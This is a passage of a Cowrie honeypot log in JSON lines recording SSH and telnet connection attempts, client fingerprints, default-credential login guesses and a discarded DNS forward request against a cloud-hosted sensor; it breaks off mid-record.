{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:09.711493Z","src_ip":"122.168.114.167","session":"837f6c81847e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:12.822577Z","src_ip":"122.168.114.167","session":"837f6c81847e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":52700,"dst_ip":"159.203.135.109","dst_port":22,"session":"57b799a94be2","protocol":"ssh","message":"New connection: 103.13.206.208:52700 (159.203.135.109:22) [session: 57b799a94be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:23.438284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:23.443623Z","src_ip":"103.13.206.208","session":"57b799a94be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:23.684960Z","src_ip":"103.13.206.208","session":"57b799a94be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mnbvcxz1","message":"login attempt [root/mnbvcxz1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:24.682666Z","src_ip":"103.13.206.208","session":"57b799a94be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:25.926115Z","src_ip":"103.13.206.208","session":"57b799a94be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.794323921203613,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:31.130809Z","src_ip":"41.76.108.55","session":"864185e0d351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49814,"dst_ip":"159.203.135.109","dst_port":22,"session":"78dd4da09133","protocol":"ssh","message":"New connection: 122.168.114.167:49814 (159.203.135.109:22) [session: 78dd4da09133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:38.206986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:39.781873Z","src_ip":"122.168.114.167","session":"78dd4da09133","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:39.785605Z","src_ip":"122.168.114.167","session":"78dd4da09133","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56990,"dst_ip":"10.17.0.5","dst_port":22,"session":"22c0db318876","protocol":"ssh","message":"New connection: 87.251.64.176:56990 (10.17.0.5:22) [session: 22c0db318876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:46.678291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:46.683793Z","src_ip":"87.251.64.176","session":"22c0db318876","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:46.780229Z","src_ip":"87.251.64.176","session":"22c0db318876","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:47.068525Z","src_ip":"87.251.64.176","session":"22c0db318876","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:47.176529Z","session":"22c0db318876","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:47.222566Z","src_ip":"122.168.114.167","session":"78dd4da09133","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:47.273484Z","src_ip":"87.251.64.176","session":"22c0db318876","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:47.372490Z","src_ip":"87.251.64.176","session":"22c0db318876","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":43326,"dst_ip":"159.203.135.109","dst_port":22,"session":"33330a7d89d4","protocol":"ssh","message":"New connection: 141.11.21.145:43326 (159.203.135.109:22) [session: 33330a7d89d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:48.760692Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:48.841875Z","src_ip":"141.11.21.145","session":"33330a7d89d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.21.145","src_port":43332,"dst_ip":"159.203.135.109","dst_port":22,"session":"94af1e51a66b","protocol":"ssh","message":"New connection: 141.11.21.145:43332 (159.203.135.109:22) [session: 94af1e51a66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:48.925700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:48.930566Z","src_ip":"141.11.21.145","session":"94af1e51a66b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:49.014737Z","src_ip":"141.11.21.145","session":"94af1e51a66b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"test123","message":"login attempt [weblogic/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:49.266514Z","src_ip":"141.11.21.145","session":"94af1e51a66b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:50.194096Z","src_ip":"122.168.114.167","session":"78dd4da09133","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:14:50.352510Z","src_ip":"141.11.21.145","session":"94af1e51a66b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52220,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf387156dc7c","protocol":"ssh","message":"New connection: 122.168.114.167:52220 (159.203.135.109:22) [session: bf387156dc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:16.626145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:18.005925Z","src_ip":"122.168.114.167","session":"bf387156dc7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:18.009900Z","src_ip":"122.168.114.167","session":"bf387156dc7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:25.663066Z","src_ip":"122.168.114.167","session":"bf387156dc7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:28.714941Z","src_ip":"122.168.114.167","session":"bf387156dc7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.114.22.126","src_port":51644,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfc048f00b10","protocol":"ssh","message":"New connection: 210.114.22.126:51644 (10.17.0.5:22) [session: cfc048f00b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:39.171479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:39.272533Z","src_ip":"210.114.22.126","session":"cfc048f00b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:39.477065Z","src_ip":"210.114.22.126","session":"cfc048f00b10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":58080,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9d276204aff","protocol":"ssh","message":"New connection: 103.13.206.208:58080 (159.203.135.109:22) [session: a9d276204aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:42.063365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:42.067843Z","src_ip":"103.13.206.208","session":"a9d276204aff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"elasticsearch123456","message":"login attempt [es/elasticsearch123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:42.081326Z","src_ip":"210.114.22.126","session":"cfc048f00b10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:42.310480Z","src_ip":"103.13.206.208","session":"a9d276204aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:43.290766Z","src_ip":"210.114.22.126","session":"cfc048f00b10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123321","message":"login attempt [root/root123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:43.312272Z","src_ip":"103.13.206.208","session":"a9d276204aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:44.557349Z","src_ip":"103.13.206.208","session":"a9d276204aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54624,"dst_ip":"159.203.135.109","dst_port":22,"session":"32da7b2b5535","protocol":"ssh","message":"New connection: 122.168.114.167:54624 (159.203.135.109:22) [session: 32da7b2b5535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:54.474343Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":48210,"dst_ip":"159.203.135.109","dst_port":23,"session":"1401ecb7dd23","protocol":"telnet","message":"New connection: 185.26.126.47:48210 (159.203.135.109:23) [session: 1401ecb7dd23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:55.574645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:15:56.276467Z","src_ip":"122.168.114.167","session":"32da7b2b5535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-c